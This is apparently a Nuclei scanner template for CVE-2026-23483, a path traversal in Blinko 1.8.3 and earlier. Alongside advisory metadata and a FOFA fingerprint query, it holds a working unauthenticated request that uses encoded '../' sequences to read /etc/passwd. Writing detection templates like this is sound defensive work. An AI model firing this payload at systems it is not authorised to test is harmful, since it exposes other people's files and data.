CVE-2026-23483: Blinko <= 1.8.3 - Path Traversal via /plugins

id: CVE-2026-23483

info:
  name: Blinko <= 1.8.3 - Path Traversal via /plugins
  author: tx1ee
  severity: medium
  description: |
    Blinko <= 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access.
  impact: |
    Remote attackers can access arbitrary files outside the intended directory, potentially exposing sensitive data.
  remediation: |
    Update to the latest version once available.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23483
    - https://github.com/blinkospace/blinko/security/advisories/GHSA-54c7-9gxh-fg9v
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-23483
    epss-score: 0.00771
    epss-percentile: 0.53903
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: blinko-space
    product: blinko
    fofa-query: icon_hash="-1446811182" || icon_hash="-717082057"
  tags: cve,cve2026,blinko,blinko-space,lfi,path-traversal,unauth,arbitrary-file-read

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220509d41cf253887dc5194a4f171b42d1efd04bd38c2e1d2b248452ca0d5831eff022100d49b703c6c569d060f58c8934b8fb60805bc56e926c656cd1fe47640a9ba8129:922c64590222798bb761d5b6d8e72950

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